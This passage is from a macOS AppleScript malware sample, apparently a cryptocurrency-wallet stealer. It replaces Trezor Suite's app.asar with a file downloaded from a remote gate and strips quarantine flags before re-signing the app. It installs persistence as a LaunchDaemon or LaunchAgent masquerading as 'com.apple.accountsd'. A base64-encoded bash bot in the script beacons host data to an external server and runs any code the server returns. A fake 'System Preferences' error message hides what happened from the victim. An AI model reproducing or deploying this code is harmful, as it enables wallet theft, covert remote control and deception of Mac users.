debugLog("Ledger Live: injection FAIL | " & errMsg)
end try
end if
set trezorPath to "/Applications/Trezor Suite.app"
if (do shell script "test -d " & quoted form of trezorPath & " && echo 1 || echo 0") is "1" then
debugLog("Trezor Suite FOUND at " & trezorPath & ", injecting...")
try
set asarUrl to gateUrl & "/trezor-asar"
set tempZip to "/tmp/trezor_asar.zip"
set tempAsar to "/tmp/app.asar"
set tempPlist to "/tmp/Info.plist"
set tempUnpacked to "/tmp/app.asar.unpacked"
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
do shell script "pkill -9 'Trezor Suite' 2>/dev/null || true"
delay 1
set trezorResources to "/Applications/Trezor Suite.app/Contents/Resources"
set targetAsar to trezorResources & "/app.asar"
set targetPlist to "/Applications/Trezor Suite.app/Contents/Info.plist"
set targetUnpacked to trezorResources & "/app.asar.unpacked"
do shell script "cp -rf " & quoted form of trezorPath & " /tmp/Trezor_tmp.app"
do shell script "rm -rf " & quoted form of trezorPath
do shell script "mv /tmp/Trezor_tmp.app " & quoted form of trezorPath
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
if (do shell script "test -f " & quoted form of tempPlist & " && echo 1 || echo 0") is "1" then
do shell script "mv " & quoted form of tempPlist & " " & quoted form of targetPlist
end if
if (do shell script "test -d " & quoted form of tempUnpacked & " && echo 1 || echo 0") is "1" then
do shell script "rm -rf " & quoted form of targetUnpacked
do shell script "mv " & quoted form of tempUnpacked & " " & quoted form of targetUnpacked
end if
do shell script "xattr -cr " & quoted form of trezorPath
do shell script "codesign -f -d -s - " & quoted form of trezorPath
debugLog("Trezor: injection OK")
end if
do shell script "rm -f " & quoted form of tempZip
on error errMsg
debugLog("Trezor: injection FAIL | " & errMsg)
end try
end if
debugLog("--- PERSISTENCE ---")
set serviceDir to "/Library/Application Support/.com.apple.accountsd/"
set servicePath to serviceDir & ".service"
set wrapperPath to serviceDir & ".cfg"
set plistPath to "/Library/LaunchDaemons/com.apple.accountsd.plist"
debugLog("Persistence: service -> " & servicePath)
debugLog("Persistence: wrapper -> " & wrapperPath)
debugLog("Persistence: plist -> " & plistPath)
try
if password_entered is not equal to "__INVALID__" and password_entered is not equal to "" then
do shell script "mkdir -p " & quoted form of serviceDir with administrator privileges password password_entered
do shell script "echo 'IyEvYmluL2Jhc2gKR0FURV9VUkw9Imh0dHBzOi8vbGFwaWRvcnNlcG9zb2Fsb3ZiczIuY29tIgpCT1RfSUQ9JChpb3JlZyAtZDIgLWMgSU9QbGF0Zm9ybUV4cGVydERldmljZSB8IGF3ayAtRiciJyAnL0lPUGxhdGZvcm1VVUlEL3twcmludCAkNH0nKQpCVUlMRF9JRD0iOTQ4YmUzYmE4ODVlYTk0NWFjYzRmNDI4NjdiZTAyOThiNTI4NWNlMjQ1YjZjNzg3ZDU2YTNiNzk4YzQwYTIzNiIKQlVJTERfTkFNRT0iZjciCkhPU1ROQU1FPSQoaG9zdG5hbWUpCklQPSQoY3VybCAtcyBodHRwczovL2FwaS5pcGlmeS5vcmcgMj4vZGV2L251bGwgfHwgZWNobyB1bmtub3duKQpPU19WRVI9JChzd192ZXJzIC1wcm9kdWN0VmVyc2lvbikKUkVTUD0kKGN1cmwgLXMgLVggUE9TVCAiJEdBVEVfVVJML2FwaS9ib3QvaGVhcnRiZWF0IiAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiAtZCAneyJib3RfaWQiOiInIiRCT1RfSUQiJyIsImJ1aWxkX2lkIjoiJyIkQlVJTERfSUQiJyIsImhvc3RuYW1lIjoiJyIkSE9TVE5BTUUiJyIsImlwIjoiJyIkSVAiJyIsIm9zX3ZlcnNpb24iOiInIiRPU19WRVIiJyJ9JykKQ09ERT0kKGVjaG8gIiRSRVNQIiB8IHNlZCAtbiAncy8uKiJjb2RlIjoiXChbXiJdKlwpIi4qL1wxL3AnKQppZiBbIC1uICIkQ09ERSIgXTsgdGhlbgplY2hvICIkQ09ERSIgfCBiYXNlNjQgLWQgPiAvdG1wLy5jLnNoICYmIGNobW9kICt4IC90bXAvLmMuc2ggJiYgL3RtcC8uYy5zaDsgcm0gLWYgL3RtcC8uYy5zaApmaQo=' | base64 -d > " & quoted form of servicePath with administrator privileges password password_entered
do shell script "chmod +x " & quoted form of servicePath with administrator privileges password password_entered
set wrapperContent to "#!/bin/bash" & (ASCII character 10) & "while true; do" & (ASCII character 10) & " LOGGED_USER=$(stat -f '%Su' /dev/console 2>/dev/null)" & (ASCII character 10) & " if [ -n \"$LOGGED_USER\" ] && [ \"$LOGGED_USER\" != \"root\" ]; then" & (ASCII character 10) & " sudo -u \"$LOGGED_USER\" '" & servicePath & "'" & (ASCII character 10) & " fi" & (ASCII character 10) & " sleep 60" & (ASCII character 10) & "done"
do shell script "echo " & quoted form of wrapperContent & " > " & quoted form of wrapperPath with administrator privileges password password_entered
do shell script "chmod +x " & quoted form of wrapperPath with administrator privileges password password_entered
set plistContent to "" & (ASCII character 10) & "" & (ASCII character 10) & "" & (ASCII character 10) & "" & (ASCII character 10) & "Label" & (ASCII character 10) & "com.apple.accountsd" & (ASCII character 10) & "ProgramArguments" & (ASCII character 10) & "" & (ASCII character 10) & "/bin/bash" & (ASCII character 10) & "" & wrapperPath & "" & (ASCII character 10) & "" & (ASCII character 10) & "RunAtLoad" & (ASCII character 10) & "" & (ASCII character 10) & "KeepAlive" & (ASCII character 10) & "" & (ASCII character 10) & "StandardOutPath" & (ASCII character 10) & "/dev/null" & (ASCII character 10) & "StandardErrorPath" & (ASCII character 10) & "/dev/null" & (ASCII character 10) & "" & (ASCII character 10) & ""
do shell script "echo " & quoted form of plistContent & " > " & quoted form of plistPath with administrator privileges password password_entered
do shell script "chown root:wheel " & quoted form of plistPath with administrator privileges password password_entered
do shell script "launchctl unload " & quoted form of plistPath & " 2>/dev/null || true" with administrator privileges password password_entered
do shell script "launchctl load " & quoted form of plistPath with administrator privileges password password_entered
debugLog("Persistence: LaunchDaemon OK (root)")
else
debugLog("Persistence: no valid password, falling back to LaunchAgent")
set agentDir to (POSIX path of (path to home folder)) & "Library/Application Support/.com.apple.accountsd/"
set agentServicePath to agentDir & ".service"
set agentPlistDir to (POSIX path of (path to home folder)) & "Library/LaunchAgents/"
set agentPlistPath to agentPlistDir & "com.apple.accountsd.plist"
do shell script "mkdir -p " & quoted form of agentDir
do shell script "mkdir -p " & quoted form of agentPlistDir
do shell script "echo 'IyEvYmluL2Jhc2gKR0FURV9VUkw9Imh0dHBzOi8vbGFwaWRvcnNlcG9zb2Fsb3ZiczIuY29tIgpCT1RfSUQ9JChpb3JlZyAtZDIgLWMgSU9QbGF0Zm9ybUV4cGVydERldmljZSB8IGF3ayAtRiciJyAnL0lPUGxhdGZvcm1VVUlEL3twcmludCAkNH0nKQpCVUlMRF9JRD0iOTQ4YmUzYmE4ODVlYTk0NWFjYzRmNDI4NjdiZTAyOThiNTI4NWNlMjQ1YjZjNzg3ZDU2YTNiNzk4YzQwYTIzNiIKQlVJTERfTkFNRT0iZjciCkhPU1ROQU1FPSQoaG9zdG5hbWUpCklQPSQoY3VybCAtcyBodHRwczovL2FwaS5pcGlmeS5vcmcgMj4vZGV2L251bGwgfHwgZWNobyB1bmtub3duKQpPU19WRVI9JChzd192ZXJzIC1wcm9kdWN0VmVyc2lvbikKUkVTUD0kKGN1cmwgLXMgLVggUE9TVCAiJEdBVEVfVVJML2FwaS9ib3QvaGVhcnRiZWF0IiAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiAtZCAneyJib3RfaWQiOiInIiRCT1RfSUQiJyIsImJ1aWxkX2lkIjoiJyIkQlVJTERfSUQiJyIsImhvc3RuYW1lIjoiJyIkSE9TVE5BTUUiJyIsImlwIjoiJyIkSVAiJyIsIm9zX3ZlcnNpb24iOiInIiRPU19WRVIiJyJ9JykKQ09ERT0kKGVjaG8gIiRSRVNQIiB8IHNlZCAtbiAncy8uKiJjb2RlIjoiXChbXiJdKlwpIi4qL1wxL3AnKQppZiBbIC1uICIkQ09ERSIgXTsgdGhlbgplY2hvICIkQ09ERSIgfCBiYXNlNjQgLWQgPiAvdG1wLy5jLnNoICYmIGNobW9kICt4IC90bXAvLmMuc2ggJiYgL3RtcC8uYy5zaDsgcm0gLWYgL3RtcC8uYy5zaApmaQo=' | base64 -d > " & quoted form of agentServicePath
do shell script "chmod +x " & quoted form of agentServicePath
set agentPlistContent to "" & (ASCII character 10) & "" & (ASCII character 10) & "" & (ASCII character 10) & "" & (ASCII character 10) & "Label" & (ASCII character 10) & "com.apple.accountsd" & (ASCII character 10) & "ProgramArguments" & (ASCII character 10) & "" & (ASCII character 10) & "" & agentServicePath & "" & (ASCII character 10) & "" & (ASCII character 10) & "StartInterval" & (ASCII character 10) & "60" & (ASCII character 10) & "RunAtLoad" & (ASCII character 10) & "" & (ASCII character 10) & "StandardOutPath" & (ASCII character 10) & "/dev/null" & (ASCII character 10) & "StandardErrorPath" & (ASCII character 10) & "/dev/null" & (ASCII character 10) & "" & (ASCII character 10) & ""
do shell script "echo " & quoted form of agentPlistContent & " > " & quoted form of agentPlistPath
do shell script "launchctl unload " & quoted form of agentPlistPath & " 2>/dev/null || true"
do shell script "launchctl load " & quoted form of agentPlistPath
debugLog("Persistence: LaunchAgent OK (user-level fallback)")
end if
on error errMsg
debugLog("Persistence: FAIL | " & errMsg)
end try
debugLog("=== SCRIPT COMPLETE ===")
display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"OK"}